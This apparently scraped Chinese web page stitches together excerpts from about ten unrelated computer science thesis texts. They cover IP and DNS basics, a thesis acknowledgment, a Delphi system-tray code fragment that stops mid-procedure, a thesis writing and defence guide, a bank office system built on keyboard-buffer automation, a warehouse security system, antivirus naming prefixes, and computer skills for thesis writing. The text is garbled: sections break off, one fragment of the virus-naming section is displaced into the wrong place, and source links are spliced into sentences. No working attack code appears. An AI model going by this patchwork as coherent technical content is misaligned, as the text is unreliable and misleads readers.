时间:2022-05-13 09:55:58
导言:作为写作爱好者,不可错过为您精心挑选的10篇计算机系毕业论文,它们将为您的写作提供全新的视角,我们衷心期待您的阅读,并希望这些内容能为您提供灵感和参考。
当前,在经济全球化和全球信息化大潮中,人们不仅重视信息及其集成的作用,而且更加重视信息使用者对信息集成的反应和运用。互联网上的域名已为越来越多的人们所关注,因此,了解域名及其对应的IP地址的关系,正确地配置域名服务器,就成为设立网站、使自己在Internet上注册的域名得到体现的关键。
1.IP地址
IP(InternetProtocol)地址就是网络协议地址,是分配给网络节点的逻辑地址。这些网络节点可以是网络中的任何一台主机,提供节点之间的交换信息服务。由于在Internet网络中存在着大量的节点,为了能够在网上找到这个节点,就必须给予标识。IP地址就是一种标识方法,它独立于任何特定的网络硬件和网络配置,使用TCP/IP协议的网络在发送或接收信息时先把数据打包,然后将目标IP地址翻译成MAC(Medi-umAccessControl)硬件的物理地址,这样就可以把数据包准确地发送或接收过来。
每个IP地址是由4个字节共32位组成,每字节之间使用小数点分隔,一般用十进制数字表示。每个IP地址包括两个标识(ID),即网络ID和宿主机ID,同一个物理网络上的所有主机都用同一个网络ID,而网络上的每个服务器、路由器、计算机等都有一个主机ID。比如202.98.180.194即是云南省科学技术情报研究所的一个WWW服务器的IP地址。
2.因特网域名及结构
由于IP地址全是数字代码,既不直观又难于记忆,因特网在IP地址的基础上,提供了一种面向用户的主机名字,即域名。如istiy(InstituteofScientific&TechnicalInformationofYunnan)为我所(云南省科学技术情报研究所)的英文缩写。即为我所在因特网上注册的域名,而(主机名+域名)为我所DNS服务器的主机域名,对应的IP地址就是202.98.180.193。
3.域名解析系统DNS(DomainNameSystem)就是提供域名与IP地址相互映射的网络服务。事实上,DNS是遍布于全世界的一个分布式数据库。它主要负责控制整个数据库中的部分段,每一段中的数据通过客户/服务模式在整个网络上均可存取。DNS的数据库结构,同UNIX文件系统(或MSDOS文件系统)的结构很相似,整个数据库(或文件系统)将根放在顶端,画出来就像一颗倒转的树。在DNS中,根的名字以空字符串“”表示,DNS简单地称其为“根”(Root)或偶而称之为“根域”(RootDomain),在UNIX文件系统中,根以反斜杠“/”表示,被称为“根目录”。如图1所示.
图1在DNS和UNIX文件系统中名称的读法
DNS数据库“”
在这宝贵的两年的研究生生活中,首先我要感谢我的导师——郭清顺老师。“授人以鱼,不如授之以渔”,郭老师正是这样以言传身教来教导着我们。
在这里,还要特别感谢我另外一位老师——道焰老师,她雷厉风行的性格、干净利落的做事风格永远是我学习的榜样。无论是在学习上还是在生活,她总给在我最需要的时候给予帮助。
不得不提,王竹立老师,他慈父一样的关怀曾使我感激不已。他使我懂得,踏踏实实做人,认认真真做事,应付别人就是应付自己。
感谢在研究生学习期间给我诸多教诲和帮助的信息与网络中心的各位老师,感谢陈铁老师、苏顺开老师、黄海老师、张汶老师给予我的指导和帮助!
感谢317实验室的兄弟姐妹,是你们给我带来了欢乐,是你们让我知道了什么是手足情深。
感谢我的三位同学——陈颂丽、路昉硕和郭泽平,我们之间的友谊足以使我今生不忘。
感谢我的朋友——淦鑫、马伟杰、王海洋、贺明威、林诸鸣、甘荣伟,感谢你们在我失意时给我鼓励,在失落时给我支持,感谢你们和我一路走来,让我在此过程中倍感温暖!
相关的论文致谢样本
·毕业论文致谢如何写·课程设计论文致谢词·博士生论文致谢范例
unitpro2;
interface
uses
。。。,Menus,shellAPI;//TNotifyIconData是定义在shellAPI单元的
{自定义消息,当小图标捕捉到鼠标事件时Windows向回调函数发送此消息}
constWM_MYTRAYICONCALLBACK=WM_USER+1000;
。。。。
private
MyTrayIcon:TNotifyIconData;
procedureWMMyTrayIconCallBack(VarMsg:TMessage);messageWM_MYTRAYICONCALLBACK;
//托盘消息处理过程
procedureWMCommand(Varmsg:TWMCommand);messageWM_Command;
//处理托盘图标的右键菜单事件
procedureMinimize(varmess:TWMNCLBUTTONDOWN);messageWM_NCLBUTTONDOWN;
//窗体最小化时的消息处理
。。。。。。。。
procedureTForm1.FormCreate(Sender:TObject);
begin
//将程序窗口样式设为TOOL窗口,避免在任务栏上出现
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;
procedureTForm1.FormShow(Sender:TObject);
begin
//设置托盘
Icon.Handle:=LoadIcon(Hinstance,''''MAINICON'''');
MyTrayIcon.cbSize:=SizeOf(TNotifyIconData);//nid变量的字节数
MyTrayIcon.Wnd:=Handle;//主窗口句柄
MyTrayIcon.uID:=1;//内部标识,可设为任意数
MyTrayIcon.uFlags:=NIF_ICONorNIF_TIPorNIF_MESSAGE;//指明哪些字段有效
MyTrayIcon.uCallBackMessage:=WM_MYTRAYICONCALLBACK;//回调函数消息,将自定义托盘消息传递进去
MyTrayIcon.hIcon:=Application.Icon.Handle;//要加入的图标句柄,可任意指定
StrCopy(MyTrayIcon.szTip,PChar(Caption));
Shell_NotifyIcon(NIM_ADD,@MyTrayIcon);
ShowWindow(Handle,sw_Hide);
//Visible:=False;//当程序启动时就最小化在托盘区即Form.Create时启用此语句
Application.ShowMainForm:=False;
SetForegroundWindow(Application.Handle);
end;
////消息过程实现
procedureTForm1.WMMyTrayIconCallBack(varMsg:TMessage);
varCursorPos:TPoint;
begin
caseMsg.LParamof
WM_LBUTTONDBLCLK://双击消息:弹出主窗口
begin
Visible:=notVisible;
Application.ShowMainForm:=Visible;
SetForegroundWindow(Application.Handle);
end;
WM_RBUTTONDOWN://鼠标右键:弹出菜单
begin
GetCursorPos(CursorPos);
{Popupmenu1.Popup(CursorPos.X,CursorPos.Y);
popupmen1里面就可以加入显示主窗口、退出等功能。这个右键菜单可以是静态的,如上面一句来弹出;也可以动态建立,如下面所示的方法:}
pm:=createpopupmenu;//建立一个Hmenu,pm:hmenu;
AppendMenu(pm,0,ord(''''A''''),''''关于....'''');//在指定的菜单里添加一个菜单项
AppendMenu(pm,0,Ord(''''B''''),''''&Exit'''');
//加入菜单事件---》处理WMCOMMAND消息即可
TrackPopupMenu(pm,Tpm_BottomAlignorTpm_RightAlign,CursorPos.x,CursorPos.y,0,handle,nil);
//在图标上方显示该弹出式菜单
end;
end;
end;
procedureTForm1.WMCommand(varmsg:TWMCommand);
begin
Casemsg.ItemIDof
Ord(''''A''''):showmessage(''''我的右键菜单!'''');
Ord(''''B''''):Self.close;//关闭程序主窗体
elseinherited;
end;
end;
procedureTform1.Minimize(varmess:TWMNCLBUTTONDOWN);//应用程序最小化消息处理
begin
ifMess.Hittest=htReducethen
Self.Hide
elseinherited;
end;
procedureTForm1.FormClose(Sender:TObject;varAction:TCloseAction);
var{程序被关闭时通知Windows去掉小图标}
nid:TNotifyIconData;
begin
nid.cbSize:=sizeof(nid);//nid变量的字节数
nid.uID:=1;//内部标识,与加入小图标时的数一致
写作流程
自考计算机专业毕业论文有1年准备时间,写作时间的分配主要取决于考生软件开发的进度,如果考生开发的软件很成熟,那末后续的写作时间就较快,否则后面的写作就会很被动。例如,一般会在每年7月份登记,9月底开题,期间开发软件,到第二年2、3月就要完成初稿,再留一个月修改。
1、选题。选题首先要重要、有意义。例如有的考生选择设计木马程序,其本身是个病毒程序,这样的程序只能带来危害,实际生活中没有意义,就不能用于做毕业论文。
2、开发软件。开发软件要与实际相结合。实际性非常重要,要自己能开发一个能实际运行的软件。有的考生自己并没有参与实际工作,只是看书是不行的。自己参与的可以是一个大的项目或课题组,论文中介绍完大的系统后,一定要把自己的工作量写清楚。
3、写论文。开发完就可以写论文了,论文是个总结,但是不要写成工作总结,一定要有主题,应体现自己的开发思想和论述自考本科计算机专业毕业论文写作指南自考本科计算机专业毕业论文写作指南。写论文要达到一定字数,一般要3万字。其中,编程代码一般为2-3千行,这个不是机器自动生成的代码,一定是自己写的源代码。
论文结构
计算机专业毕业论文一般有8个部分。1、概述或引言。这个部分相当于大纲,一般要求4-5千字,主要是对软件开发背景,使用的软件工具、环境,最后达到的效果,自我在里面的贡献等;2、需求分析。软件有哪些功能、模块,用的什么工具等;3、设计方案和主要技术自考本科计算机专业毕业论文写作指南文章自考本科计算机专业毕业论文写作指南出自http://gkstk.com/article/wk-78500001321796.html,转载请保留此链接!。主要是对里面每一部分的详细论述,使用的是什么技术,为什么使用。详细的模块分析或遇到的难点是怎样解决的等;4、具体的实现过程;5、测试。介绍自己开发软件实际达到的效果;6、总结。介绍自己开发软件的体会,或自己开发的成果使用情况,有什么评价,自己还有哪些不足,有什么需要改进的地方;7、致谢;8、参考文献。另外,还可以加一个“附录”部分。正文只能有一个中心,其他有重要参考价值的都可以放在附录部分。例如有重要的代码、图表,涉及其他领域的知识,需要解释的等都可以放在附录部分。
案例1:《家装工程预算软件的开放》1、概述;2、需求分析;3、总体设计;4、数据库设计;5、软件功能的实现;6、结论及改进;7、致谢;8、参考文献。
案例2:《经纬中天无线短信增值服务管理软件的设计和开放》1、引言;2、需求分析;3、设计方案论证和主要技术介绍;4、系统设计;5、编码实现;6、实际运行中出现的问题及相应的解决方案;7、结束语;8、致谢;9、参考文献。
答辩程序
答辩现场会有专业老师组成的答辩小组,一般为5人左右,学生抽签分配答辩组。答辩现场要考生做介绍和演示。考生需要提前准备幻灯片,一般不超过20张,为论文最核心部分的内容自考本科计算机专业毕业论文写作指南论文
WiseMedia
考生结合幻灯片介绍论文,答辩小组老师会根据考生论文提出问题,考生要实事求是回答,最后答辩小组老师打分,求平均分给出考生论文成绩。大部分考生都会达到优、良,个别考生没有通过论文,主要有两方面原因:1、论文并不是自己真正所做,用别人的软件为自己所用,老师一提问就能发现破绽;2、考生论得太简单,达不到工作量。这就需要考生踏踏实实地按照要求去作论文。
零碎提醒
论文的题目不要太大,一定要具体、实际,不能吹成通用的;
自考生考过全部课程后,最好能寻求实践机会。可以去应聘公司,真正参与一个项目,一边工作一边写论文;
论文不要上网抄,一定要自己做;
1引言
在接到开发中国人民银行广西区分行办公信息服务系统任务的初期,我们既兴奋又迷茫,兴奋的是我们有机会从事一项意义重大的工作,迷茫的是在我们以往所进行的系统集成实例中找不到可以借鉴的经验,而且从各种资料上也查不到类似的范例。尽管开始时我们还感到无从下手,但我们还是下决心完成这一艰巨的任务。在整项工程的建设过程中,我们的感觉仿佛是在黑暗中摸索前进,我们制定并否定了一个又一个方案,最后终于找到了一个看起来可行的方案,并勇敢地前进,终于在完成了任务的同时证明了这一方案的可行性。2需求分析
中国人民银行广西区分行办公信息服务系统建设的目的是为行长和处长们办公决策提供全面、可靠、快捷的信息服务。这一系统开发完成后,行长及处长们只需在计算机前就可调阅人行各业务处的数据和报表,并且还能查阅到广西区情、广西国民经济综合情况、电话号码、飞机航班、列车时刻、最新文件及重大事件等信息。中国人民银行办公信息服务系统不仅要新开发许多公共信息服务系统,而且最重要的是要在人行广西区分行二十多个业务处现有的和将来中国人民银行总行配发的软件系统基础上进行,即要求新开发系统要完全具有人行广西区分行原有各业务系统及将来总行配发下来的软件系统功能。根据项目内容,我们可以将需求归纳成两大类信息服务系统即业务信息类和公共信息类信息服务系统。
公共信息类信息服务系统包括电话号码、列车时刻、飞机航班、最新公文及最新动态、广西区情及综合情况等这些公共的信息查询系统,这类系统原来中国人民银行广西区分行内没有,因此我们需要开发这些软件系统,这一部分方案比较容易确定。业务信息是指中国人民银行广西区分行各业务处每日产生的大量数据及报表,这些数据及报表是各处的业务软件系统处理的结果。业务信息类服务系统不仅要求功能齐全,而且要操作简单,行长和处长们只需进行简单的操作即可查阅到各业务处的数据和报表。因为各业务处的办公信息服务系统的来源复杂,有的是从中国人民银行总行各相对独立的专业司配发下来的,有的是中国人民银行广西区分行科技处的同志开发的,有的是市县支行同志开发的。同时这些软件开发工具也不一,并多是.EXE文件,因此系统集成难度大,我们需要寻找到一个可行的系统集成方案。
3系统集成方案的制定
本项工程最突出的特点是要在完全利用原有系统的前提下为高层领导开发一个高水平的软件系统,因此无论在设计思想上还是在技术上都需要对现有系统集成方法有所突破。为此,我们进行了多种尝试,先后制定过以下四个方案。
(1)从分析和处理各原业务系统原始数据入手重现各种报表。
(2)截取打印机端口数据获得原业务系统各种报表,并进行处理。
(3)将原业务系统数据转换成可被EXCEL.识别的数据,用EXCEL来编制和管理报表系统。
(4)直接将原业务系统集成进我们的系统,利用原业务系统的查询功能。
经过深入细致的调研和研究分析,我们选定了最后一个方案。直接将原业务系统集成进我们的系统,利用原业务系统的查询功能。
4办公信息服务系统总体设计方案
在分别确定了网络系统方案,软件系统及系统集成方案后,我们设计了系统总体设计方案。具体如下:
1)采用WINDOWSNT网络结构,服务器为中文WINDOWSNT3.51,工作站采用中文WINDOWS3.2。
2)数据库采用CLIENT/SERVER模式,数据库服务器采用SQLSERVER6.5,LIENT端开发工具采POWERBUILDER5.0。
3)用POWERBUILDER5.0开发系统主框架及公共信息子系统。
4)将业务系统放在工作站硬盘上,让其在工作站上运行,然后通过网络来采集和传送数据。
5)将各业务系统直接集成到办公信息服务系统中。
6)将所有业务系统在每台行长用机硬盘上都安装一套,行长在本工作站上使用与各业务处相同的系统,查阅各种业务数据,业务数据通过网络采集。
7)用直接对键盘缓冲区操作的方法,简化行长对业务数据的查询过程。
5系统数据流程
公共信息存放在网络服务器,各工作站都可直接查询。
从业务软件上网,数据的安全性及软件系统的可靠性三方面考虑,中国人民银行广西区分行办公信息服务系统将业务软件系统及所有的业务查询系统软件都放置在工作站硬盘上,业务数据查询操作也只对工作站硬盘进行。在对业务数据处理方面网络只承担数据采集及传递的任务,业务数据的流程是定期从各业务处工作站拷贝到网络上相应目录,再由行长和处长们将其从网络上取回到他们自己的工作站。
6需要解决的技术问题
采用这一方案,需要将用POWERBUILDER新开发出来的系统与原有的WINDOWS环境上运行的,EXE文件与在DOS下中文环境UCDOS上运行的.EXE文件及在DOS环境上foxbase下运行的.PRG文件,或在LOTUS123下运行的软件集成在一起,并且采用了直接对键盘缓冲区进行操作的技术,因此就面临着许多诸如内存不够,地址及显示方式冲突等错综复杂的问题,下面就介绍我们曾遇到的问题及解决问题的方法。
6.1网络结构
由于各业务系统原来是在单用户环境上开发的,没有考虑网络上运行的特点,因此无法直接上网,为此我们采用非集中式数据管理方法,将业务系统放在工作站硬盘上,让其在工作站上运行,然后通过网络来采集和传送数据,这样就解决了业务系统多个用户同时使用,数据共享及网络安全等问题。
6.2系统集成方案
因为中国人民银行广西区分行办公信息服务系统覆盖面很大,并要将原有五花八门的系统与新开发的系统集成在一起,在这些系统中有POWERBUILDER开的发,有用VISUALFOXPROFORWINDOWS及FOXPROFORWINDOWS开发的,也有在DOS及UCDOS下用FOXPRO2.5及FOXBASE开发的,还有在LOTUS123下运行的系统,同时还要考虑直接对键盘缓冲区进行操作时的可靠性,因此系统集成方案是本项目中的关键。我们曾经制定了两种方案,第一种方案是系统一开始是运行在DOS环境上,先进入UCDOS,这样用户可正常运行DOS下的业务系统,当需要运行WINDOWS下的系统时,才退出UCDOS进入WINDOWS,用户接着可使用WINDOWS下的业务软件及公共信息软件系统。第二种方案是,系统一开始就运行在WINDOWS环境,用户可直接运行公共信息系统及WINDOWS环境下的业务软件系统,当用户需要使用DOS环境的系统时,再调用WINDOWS下的DOS窗口,进入UCDOS,然后运行业务软件系统,运行完后退回WINDOWS。第一种方案比较简单,但用户界面不理想,操作步骤及系统反应时间较长。第二方案用户界面良好,操作管理简便,但由于系统叠加层次较多,因此需解决内存及其它资源限制及冲突等问题。经过努力我们成功地按第二方案实施,使得原来五花八门而显得零乱的多个系统在WINDOWS下集成起来,形成一个有机的整体。6.3键盘缓冲区操作
因为办公信息服务系统的使用者是人行广西区分行的高层领导,因此除了要求界面美观之外,还特别要求使用简便。由于我们将各原有系统集成到我们的软件中,而各原有系统一般功能繁多,并多需要输入口令等繁琐的步骤才能进入到领导们所需的查询功能,因此我们采用预先将这些操作的字符序列自动写入键盘缓冲区的办法,将这些步骤“短路”,领导们在调用该业务系统时就直接进入到查询功能。
在对DOS环境下运行的业务系统,我们采用直接向键盘缓冲区写入字符序列,以简化操作的方法。采用这种方法需要掌握写入的时机,否则及容易造成不可预见性的结果以致死机。由于用户将要在不同业务系统中来回选择,因此键盘缓冲区操作程序在内存的驻留方式也是一个需要处理好的问题,否则会出现内存管理混乱等问题。经过反复尝试我们找到了解决问题的方案,采用从WINDOWS调用DOS进程及UCDOS之后,调用键盘缓冲区操作程序,将操作序列写入到键盘缓冲区,然后再调用业务系统,由系统自动按键盘缓冲区的字符序列进入业务系统的查询操作,在退出业务系统时,由WINDOWS自动清除内存中的UCDOS及键盘缓冲区操作程序,使内存恢复到调用前原状。在处理WINDOWS环境中运行的业务系统时,我们在进入系统前直接调用键盘缓冲区操作程序,将操作序列写入到键盘缓冲区,然后调用业务系统,让其自动按键盘缓冲区序列进入到其查询功能。
6.4内存优化
采用这种集成方案,内存将要容纳网络驱动程序,WINDOWS,UCDOS,FOXBASE,业务系统,DOS解释程序等,因此常常会遇到内存不足的问题,采用优化内存是解决内存不足的一种方法,我们采用DOS的MEMMAKER来优化内存,以解决基本内存不足的问题。
6.5WINDOWS与UCDOS协调工作
由于系统主框架是运行于WINDOWS环境,而业务系统许多是在DOS环境下UCDOS环境中运行,这就涉及中文WINDOWS与UCDOS协调工作的问题,如果先进UCDOS,然后执行WINDOWS,则会造成显示方式冲突,系统无法使用,反之,先进WINDOWS然后再调用DOS进程,进入UCDOS,则使用顺畅,并且在退出DOS进程后,内存没有任何残留。
6.6解决内存不足问题
采用直接集成方案,内存将要容纳网络驱动程序、WINDOWS、UCDOS、FOXBASE,业务系统,DOS解释程序等,因此常常会遇到内存不足的问题,采用优化内存是解决内存不足的一种方法,但只能解决部分基本内存不足的问题,在许多情况下仍需采用别的方法。如某处业务软件是在FOXBASE下运行的.FOX程序,该.FOX程序调用DOS命令,这样内存中将要容纳网络驱动程序,中文WINDOWS3.2,DOS,UCDOS5.0,键盘操作驻留程序,FOXBASE,该.FOX及DOS命令解释程序,从而造成内存不足。为解决这一问题,我们找来了反编译程序,将.FOX文件反编译成.PRG文件,然后用FOXPRO2.5,将其编译成.EXE文件,这样在调用它时,就无需执行FOXBASE,从而解决这种内存不足的问题。
7成果
在进行项目开发的过程中我们曾查阅许多资料,没有人曾介绍用类似的方案进行系统集成的经验。因此在项目开发完成前,我们一直担心,最后的系统会不会是个“四不象”,但我们惊喜地发现,我们的系统不仅功能强大,性能可靠,而且各部分衔接自然,使用极其方便。这种系统集成方法是一种新颖的方法。为在大型企业及机构已有的软件系统基础上进行系统集成创造了一种巧妙简截而又成功的解决方案。
9参考文献
[1]PowerBuilder5.0技术参考手册(套)北京市晓通网络数据库研究所
[2]Excel5forwindows大全,海洋出版社
一、引言
计算机技术、网络技术、多媒体技术的成熟与发展,为仓储管理自动化提供了强有力的技术支持。当前已有的系统其功能一般比较单一。如防盗系统只管防盗;仓储管理系统只负责仓库物品的数据处理;控制系统只完成简单的环境控制功能(如开关门、开关灯、通风等)。将这些功能彼此独立的系统有机结合起来,组成一个既能完成管理,又能实现实时监控的一体化自动管理系统具有重要的意义。我们所设计的这套仓库安全管理综合信息系统,是把门禁系统(IC卡开门)、环境监控系统、财务管理系统、合同管理系统、报警控制系统和数据处理系统结合在一起,充分利用了先进的计算机技术和控制手段。它既能通过音频、视频以及红外线、雷达、震动等传感器实时监控对所有分库的开门、取物、检修等操作,又能对防区内的警报信号立即处理或自动上报;它还是一个仓库的数据中心,能完成人员、仓储信息处理以及自动报时、鸣号、熄灯、开关高压电网、布撤防等控制。另外,该系统还与财务管理系统、合同管理系统集成在一起构成一个安全、主动和综合的仓库管理系统。
二、系统的基本要求
目前的仓库管理系统一般技术比较落后、性能较差且很不完备,有的甚至没有安全防盗功能。即使有安全防盗功能其性能一般也不太理想,人工干涉多,操作使用不方便,有的还故障率高而不实用。随着社会信息交流的日益加强和信息量的集聚增加,再加上盗窃活动的团伙化、智能化和高技术化等特点,仓储管理部门越来越需要一套低成本、高性能、方便使用、功能完善的综合仓库监控管理系统。要求它具有立即捕捉警情并提供警情发生地的有关信息(如地图、位置、类型、程度、平面图、地形图、结构图以及警情发生地的仓储情况等),计算机系统马上对警情做出反应,迅速通知值班人员和仓库管理员(通过声光等信号形式),可能的话还可立即对警情发生地实施控制(如接通高压电网、自动封闭门窗、拉响警笛、打开探照灯等)。对重要的警情要立即通过计算机网络或内部电话自动交换网上报上级主管部门。特别是要求系统能完整记录从发生警情到上报,进而做出处理的全过程,以便于事后分析处理。
仓库大门的钥匙管理和开门方法应采用较科学的电子识别手段(如磁卡、IC卡)进行控制,仓库内外的温度和湿度用温湿度传感器自动测量和记录。发现越限时报警通知管理员,以便于管理员及时采取通风降温和除湿等方法,确保仓储物品的安全。除此之外,系统还可以对仓储物品的出入库、物品订购合同、财务信息以及人员信息等内容进行统一的管理,以提高办公自动化的程度。
三、系统功能描述
1.定时自动测量和记录湿度和温度,并能够触发越界报警;
2.可挂接多种类型的防区,每个防区可以是震动、雷达、红外线等类型的一种;
3.系统对每个警情立即反应,指出地点、位置等,给出警情所在地的结构图,并能自动启动警号、灯光等报警设备,必要时可立即自动拨号上报上级主管部门;
4.双IC卡开门,并自动记录开门时间,持卡者身份等信息;
5.对钥匙统一管理,记录取钥匙的时间,人员等信息;
6.可以进行人员管理、仓储管理、财务管理、合同管理等内容;
7.自动记录管理员交接班日志,对仓库的操作也均有记录;
8.可根据综合条件检索历史记录,并可打印输出。
9.对人员的情况、密码(管理员)、防区所接传感器参数均可随时更新。
综上所述,系统所完成的功能是比较全面的。其中以处理警情的优先级最高,一旦发生警报,应立即停止其它事务性处理工作,转为响应处理警报。由于这种系统具有一定的技术先进性、新颖性和实用性,可以对仓储信息进行有效的安全管理。
四、系统的设计结构
系统实现采用结构化和面向对象的设计技术,硬件结合了单板机廉价、稳定的优点和PC机大容量、高速度、界面友好的特点,将整个系统分成功能相对独立的若干子模块,使系统结构层次分明,结构严谨,极易于维护和使用。由于系统采用结构化设计,自顶向下逐步分解精化而成,由多个模块组成,因此可按散件组装法则根据现场实际需求,灵活取舍组合系统各组成部件。对于一些特殊要求也可以采用模块化形式方便地实现其功能的扩展,从而形成由低成本、简单功能到高投入、复杂功能不同层次的系列产品,但无论怎样组合均不会降低系统整体性能。系统的逻辑功能结构如图1所示。
图1系统功能逻辑结构图(图略)
五、操作使用简介
系统运行于WINDOWS环境,其界面同时具有字符、图形、动画、菜单命令等各种输入输出格式,友好且直观形象,再加上采用了WINDOWS所特有的联机提示和后援帮助作辅助手段,使系统的使用简单易学,非常便于普及推广。整个操作可分为四大部分:
1.利用按钮完成各种控制功能;
2.图形操作界面,利用鼠标代替键盘输入,快速直观,一学就会;
3.对记录的数据进行综合条件的检索,查询并打印输出,可用鼠标选择查询条件;
(一)木马病毒、黑客病毒木马病毒其前缀是:Trojan,黑客病毒前缀名一般为Hack。木马病毒的公有特性是通过网络或者系统漏洞进入用户的系统并隐藏,然后向外界泄露用户的信息,而黑客病毒则有一个可视的界面,能对用户的电脑进行远程控制。木马、黑客病毒往往是成对出现的,即木马病毒负责侵入用户的电脑,而黑客病毒则会通过该木马病毒来进行控制。现在这两种类型都越来越趋向于整合了。一般的木马如QQ消息尾巴木马Trojan.QQ3344,有大家可能遇见比较多的针对网络游戏的木马病毒如Trojan.LMir.PSW.60。这里补充一点,病毒名中有PSW或者什么PWD之类的一般都表示这个病毒有盗取密码的功能(这些字母一般都为密码的英文password的缩写)一些黑客程序如:网络枭雄(Hack.Nether.C1ient)等。
(二)宏病毒其实宏病毒是也是脚本病毒的一种,由于它的特殊性,因此在这里单独算成一类。宏病毒的前缀是:Macro,第二前缀是:Word、Word97、Excel、Excet97(也许还有别的)其中之一。凡是只感染WORD97及以前版本WORD文档的病毒采用Word97作为第二前缀,格式是:Macro.Word97;凡是只感染WORD97以后版本WORD文档的病毒采用Word作为第二前缀,格式是:Macro.Word;凡是只感染EXCEL97及以前版本EXCEL文档的病毒采用Excel97作为第二前缀,格式是:
(三)脚本病毒脚本病毒的前缀是:Script。脚本病毒的公有特性是使用脚本语言编写,通过网页进行的传播的病毒,如红色代码(Script.Redlof)可不是我们的老大代码兄哦。脚本病毒还会有如下前缀:VBS、js(表明是何种脚本编写的),如欢乐时光(VBS.Happytime)、十四日(Js.Fortnight.C.S)等。推荐阅读:远程开放教育软件工程专业毕业论文
Macro.Excel97;凡是只感染EXCEL97以后版本EXCEL文档的病毒采用Excel作为第二前缀,格式是:Macro.Excel,依此类推。
(四)后门病毒后门病毒的前缀是:Backdoor。该类病毒的公有特性是通过网络传播,给系统开后门,给用户电脑带来安全隐患。如很多朋友遇到过的IRC后f]Backdoor.IRCBot。
(五)破坏性程序病毒破坏性程序病毒的前缀是:Harm。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击,当用户点击这类病毒时,病毒便会直接对用户计算机产生破坏。如:格式化c盘(Harm.formatC.f)、杀手命令(Harm.Command.Killer)等。
1.1 计算机知识储备量不足
目前,各高校都开设有计算机课程,但仍不能满足本科毕业论文实践的需求。对于本科毕业论文,主要会用到Office办公软件中的Word、Excel、PowerPoint(PPT,Internet文献数据库,以及文献管理软件等。虽然各高校一般都开设有计算机基础类课程,介绍MicrosoftWindows、Office软件、Internet的使用,但所授内容还不能满足本科毕业论文实践的需要。在毕业论文写作时,毕业生往往感到Word文档的编排非常的麻烦,需要花费相当的精力和时间,也给指导老师增添了不少指导负担。同样,Excel、PowerPoint、Internet的使用也不尽如人意。除此之外,还有部分软件知识在已有课程中完全没有涉及,如文献管理软件的使用等。
1.2 计算机硬件设施不足
计算机资源不足严重影响毕业论文的撰写。学生可利用的计算机资源主要有三种:自有计算机,学校计算机,网吧计算机。对自有计算机而言,虽有调查表明大学生电脑的拥有率已达到50%左右,但对于大多数来自农村的大学生而言,他们的电脑拥有率依然很低。对学校计算机而言,虽然各学校都建立有计算机房,但相比于庞大的学生群体,学校计算机依然不能满足学生需求,而且学校计算机主要用于教学使用,学生的使用有时间限制。在这种情况下,许多学生不得不求助于网吧,而网吧一般不安装OFFICE办公软件,更不会安装如AutoCAD这种专业软件,也无法访问学校图书馆数据库。与此同时,毕业论文的撰写时间比较集中,往往在一两个月内完成,特别是临近答辩的几天里,几千毕业生需要计算机修订论文,计算机的紧张程度可想而知。因而,学生在毕业论文撰写过程中,常遇到没有计算机可以使用的情况。
1.3 计算机使用缺乏指导
学生进行计算机操作时,缺乏足够的指导。由于高校扩招,学生数量急剧增大而教师数量增加缓慢,导致师生比偏高,严重影响教学质量。作为公共基础课程,几千名学生的教学工作,往往由十多名教师来完成,师生比甚至高达1:250,很难说学生可以充分得到教师的指导在毕业论文进行阶段,也同样遇到师生比过高的问题,经常遇到一个老师同时指导十几名学生的现象,教师指导任务重,很难保证指导质量。
2.本科毕业论文实践中计算机应用需求
2.1 WORD大型文档编排
毕业论文是一种较长的文档,编排难度相对较大般而言,毕业论文字数要求5000字以上,页数一般在10页以上,编排的版式几乎与出版社正规出版的书籍类似。这对于平时很少利用Word软件的学生而言,具有很大的难度,需要重新学习Word的编排技巧。在论文写作过程中,也容易出现论文排版上的各种问题。
目前,文档编排软件很多,但一般采用Mi-crosoftWord完成.对于Word排版问题,应着重解决以下几方面的问题:①页面设置;②文字格式的设置;③样式的应用;④分节的设置;⑤页眉页脚的设置;⑥图表的绘制;⑦公式的录入;⑧自动生成目录。
2.2 Excel表、图与统计分析
对于大多数的毕业论文,都会涉及插入图表,以及数据的统计分析。除文科类论文较少涉及图表知识外,理工科、农科、医学等学科的大部分毕业论文,都会涉及图表的制作以及数据的统计分析。在毕业论文写作过程中,部分学生对图表的制作很是陌生,甚至不知道标准的图表要求是什么,因而做出来的图表不仅不美观,而且也不符合要求。Excel还具有统计分析功能,不仅方便快捷,而且准确可靠,但不少同学不知道Excel具有统计学功能,更不会使用。他们往往采用手算的方法来进行统计分析,耗时耗力,而且还容易出错。
图表与统计分析,不仅可以采用Excel,也可以采用更为专业的软件,如Origin制图、Sigmaplot制图、SAS统计分析、SPSS统计分析等,但以Excel更为方便。对于Execl图表与统计,应着重解决以下几方面的问题:①Excel表格的制作(特别是三线表的制作);②Excel图表的制作;③Excel函数与公式;④Excel统计分析工具。除此之外,也可以介绍Origin、Sigmaplot、SAS、SPSS等软件的使用。
文档演示毕业论文答辩时,_般采用PPT展示其研究课题。答辩过程主要包含两部分,学生陈述和老师提问。学生的自主陈述过程,不仅需要其精彩的陈述,更需要映衬陈述的多媒体展示。目前,大多数学生往往直接将论文内容粘贴到PPT当中,却不知如何精简和美化,结果导致PPT臃肿,条理不清晰,没有层次感。导致这一情况的直接原因就是学生缺乏PPT制作的技巧。
对于PPT的制作,应着重解决以下几方面的问题:①整体结构设计;②页面布局设计;③色彩搭配设计;④演讲内容提炼;⑤媒体元素设置;⑥动态效果设置;⑦播放策略。
2.4 INTERNET文献检索
Internet是获取科技信息非常方便的渠道。毕业论文的实践不是闭门造车,而是他人研究成果的继续。因而在研究之前需要查阅大量的文献。文献资料主要分为两种资料:文本资料和电子资料。大部分的研究成果是以期刊论文、会议报告、学位论文等形式最先展示出来的,而这部分资料目前基本都被相关数据库所收录,存储在数据服务器上。利用互联网技术,可以非常方便地查阅到所需要的资料。
对于Internet文献检索,应着重解决以下几方面的问题:①主要中文期刊数据库;②主要英文期刊数据库;③其它类型数据库(如:电子图书、电子报纸、会议论文、学位论文、标准、专利等);④检索策略;⑤检索技巧。
2.5 ENDNOTE文献管理
